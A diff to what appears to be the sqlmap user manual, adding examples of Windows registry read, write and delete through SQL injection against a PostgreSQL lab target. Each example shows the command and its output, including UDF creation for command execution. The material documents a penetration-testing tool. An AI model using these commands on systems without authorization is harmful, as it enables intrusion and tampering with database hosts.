@@ -5254,68 +5254,164 @@ meterpreter > exit
52545254
52555255<sect1>Windows registry access
52565256
5257+ <p>
5258+ It is possible to access Windows registry when the back-end
5259+ database management system is either MySQL, PostgreSQL or
5260+ Microsoft SQL Server, and when the underlying database layer
5261+ supports stacked SQL queries. Also, session user has to have
5262+ the needed privileges to access it.
5263+
52575264<sect2>Read a Windows registry key value
52585265
52595266<p>
52605267Option: <tt>-</tt><tt>-reg-read</tt>
52615268
52625269<p>
5263- TODO
5270+ Using this option you can read registry key values.
52645271
5272+ <p>
5273+ Example on a <bf>PostgreSQL 8.4</bf> target:
52655274
5266- <sect2>Write a Windows registry key value data
5275+ <tscreen><verb>
5276+ $ python sqlmap.py -u http://172.16.213.128/sqlmap/pgsql/get_int.php?id=1 --reg-read
5277+
5278+ [...]
5279+ web server operating system: Windows
5280+ web application technology: PHP 5.3.1, Apache 2.2.14
5281+ back-end DBMS: PostgreSQL
5282+
5283+ [hh:mm:15] [INFO] testing stacked queries support on parameter 'id'
5284+ [hh:mm:15] [INFO] detecting back-end DBMS version from its banner
5285+ [hh:mm:15] [INFO] retrieved: 8.4.2,
5286+ [hh:mm:23] [INFO] the web application supports stacked queries on parameter 'id'
5287+ [hh:mm:23] [INFO] fingerprinting the back-end DBMS operating system
5288+ [hh:mm:23] [INFO] retrieved: 1
5289+ [hh:mm:23] [INFO] the back-end DBMS operating system is Windows
5290+ [hh:mm:23] [INFO] testing if current user is DBA
5291+ [hh:mm:23] [INFO] retrieved: 1
5292+ [hh:mm:23] [INFO] checking if UDF 'sys_eval' already exist
5293+ [hh:mm:23] [INFO] retrieved: 0
5294+ [hh:mm:24] [INFO] checking if UDF 'sys_exec' already exist
5295+ [hh:mm:24] [INFO] retrieved: 0
5296+ [hh:mm:25] [INFO] creating UDF 'sys_eval' from the binary UDF file
5297+ [hh:mm:25] [INFO] creating UDF 'sys_exec' from the binary UDF file
5298+ which registry key do you want to read? [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion]
5299+ which registry key value do you want to read? [ProductName]
5300+ [hh:mm:34] [INFO] reading Windows registry path 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductName'
5301+ [hh:mm:35] [INFO] retrieved: ProductName REG_SZ Microsoft Windows XP
5302+ Registry key value data: 'ProductName REG_SZ Microsoft Windows XP'
5303+ [...]
5304+ </verb></tscreen>
5305+
5306+ <sect2>Write a Windows registry key value
52675307
52685308<p>
52695309Option: <tt>-</tt><tt>-reg-add</tt>
52705310
52715311<p>
5272- TODO
5312+ Using this option you can write registry key values.
52735313
5314+ <p>
5315+ Example on a <bf>PostgreSQL 8.4</bf> target:
52745316
5275- <sect2>Delete a Windows registry key value
5317+ <tscreen><verb>
5318+ $ python sqlmap.py -u http://172.16.213.128/sqlmap/pgsql/get_int.php?id=1 --reg-add
52765319
5277- <p>
5278- Option: <tt>-</tt><tt>-reg-del</tt>
5320+ [...]
5321+ web server operating system: Windows
5322+ web application technology: PHP 5.3.1, Apache 2.2.14
5323+ back-end DBMS: PostgreSQL
52795324
5280- <p>
5281- TODO
5325+ [hh:mm:20] [INFO] testing stacked queries support on parameter 'id'
5326+ [hh:mm:20] [INFO] detecting back-end DBMS version from its banner
5327+ [hh:mm:20] [INFO] retrieved: 8.4.2,
5328+ [hh:mm:29] [INFO] the web application supports stacked queries on parameter 'id'
5329+ [hh:mm:29] [INFO] fingerprinting the back-end DBMS operating system
5330+ [hh:mm:29] [INFO] retrieved: 1
5331+ [hh:mm:30] [INFO] the back-end DBMS operating system is Windows
5332+ [hh:mm:30] [INFO] testing if current user is DBA
5333+ [hh:mm:30] [INFO] retrieved: 1
5334+ [hh:mm:30] [INFO] checking if UDF 'sys_exec' already exist
5335+ [hh:mm:30] [INFO] retrieved: 0
5336+ [hh:mm:06] [INFO] creating UDF 'sys_exec' from the binary UDF file
5337+ which registry key do you want to write? HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap
5338+ which registry key value do you want to write? Test
5339+ which registry key value data do you want to write? 1
5340+ which registry key value data-type is it? [REG_SZ] REG_DWORD
5341+ [hh:mm:41] [INFO] adding Windows registry path 'HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap\Test' with data '1'. This will
5342+ work only if the user running the database process has privileges to modify the Windows registry.
52825343
5344+ [*] shutting down at: hh:mm:42
5345+ </verb></tscreen>
52835346
5284- <sect2>Windows registry key
5347+ <sect2>Delete a Windows registry key
52855348
52865349<p>
5287- Option: <tt>-</tt><tt>-reg-key </tt>
5350+ Option: <tt>-</tt><tt>-reg-del </tt>
52885351
52895352<p>
5290- TODO
5353+ Using this option you can delete registry keys.
52915354
5355+ <p>
5356+ Example on a <bf>PostgreSQL 8.4</bf> target:
52925357
5293- <sect2>Windows registry key value
5358+ <tscreen><verb>
5359+ $ python sqlmap.py -u http://172.16.213.128/sqlmap/pgsql/get_int.php?id=1 --reg-del
52945360
5295- <p>
5296- Option: <tt>-</tt><tt>-reg-value</tt>
5361+ [...]
5362+ web server operating system: Windows
5363+ web application technology: PHP 5.3.1, Apache 2.2.14
5364+ back-end DBMS: PostgreSQL
52975365
5298- <p>
5299- TODO
5366+ [hh:mm:20] [INFO] testing stacked queries support on parameter 'id'
5367+ [hh:mm:20] [INFO] detecting back-end DBMS version from its banner
5368+ [hh:mm:20] [INFO] retrieved: 8.4.2,
5369+ [hh:mm:29] [INFO] the web application supports stacked queries on parameter 'id'
5370+ [hh:mm:29] [INFO] fingerprinting the back-end DBMS operating system
5371+ [hh:mm:29] [INFO] retrieved: 1
5372+ [hh:mm:30] [INFO] the back-end DBMS operating system is Windows
5373+ [hh:mm:30] [INFO] testing if current user is DBA
5374+ [hh:mm:30] [INFO] retrieved: 1
5375+ [hh:mm:30] [INFO] checking if UDF 'sys_exec' already exist
5376+ [hh:mm:30] [INFO] retrieved: 0
5377+ [hh:mm:06] [INFO] creating UDF 'sys_exec' from the binary UDF file
5378+ which registry key do you want to delete? HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap
5379+ which registry key value do you want to delete? Test
5380+ are you sure that you want to delete the Windows registry path 'HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap\Test? [y/N] y
5381+ [hh:mm:26] [INFO] deleting Windows registry path 'HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap\Test'. This will work only
5382+ if the user running the database process has privileges to modify the Windows registry.
53005383
5384+ [*] shutting down at: hh:mm:27
5385+ </verb></tscreen>
53015386
5302- <sect2>Windows registry key value data
5387+ <sect2>Auxiliary registry switches
53035388
53045389<p>
5305- Option: <tt>-</tt><tt>-reg-data</tt>
5390+ Option: <tt>-</tt><tt>-reg-key</tt>, <tt>-</tt><tt>-reg-value</tt>,
5391+ <tt>-</tt><tt>-reg-data</tt> and <tt>-</tt><tt>-reg-type</tt>
53065392
53075393<p>
5308- TODO
5309-
5310-
5311- <sect2>Windows registry key value type
5394+ These switches can be used to provide data needed for proper running of
5395+ options <tt>-</tt><tt>-reg-read</tt>, <tt>-</tt><tt>-reg-add</tt> and
5396+ <tt>-</tt><tt>-reg-del</tt>. So, instead of providing registry key
5397+ information when asked, you can use them at command prompt as program
5398+ arguments.
53125399
53135400<p>
5314- Option: <tt>-</tt><tt>-reg-type</tt>
5401+ With <tt>-</tt><tt>-reg-key</tt> option you specify used windows
5402+ registry key path, with <tt>-</tt><tt>-reg-value</tt> value item
5403+ name inside provided key, with <tt>-</tt><tt>-reg-data</tt> value
5404+ data, while with <tt>-</tt><tt>-reg-type</tt> option you specify
5405+ type of the value item.
53155406
53165407<p>
5317- TODO
5408+ So, another way of running example from option
5409+ <tt>-</tt><tt>-reg-add</tt> could be:
53185410
5411+ <tscreen><verb>
5412+ $ python sqlmap.py -u http://172.16.213.128/sqlmap/pgsql/get_int.php?id=1 --reg-add\
5413+ --reg-key=HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap --reg-value=Test --reg-type=REG_SZ --reg-data=1
5414+ </verb></tscreen>
53195415
53205416<sect1>Miscellaneous
53215417
0 commit comments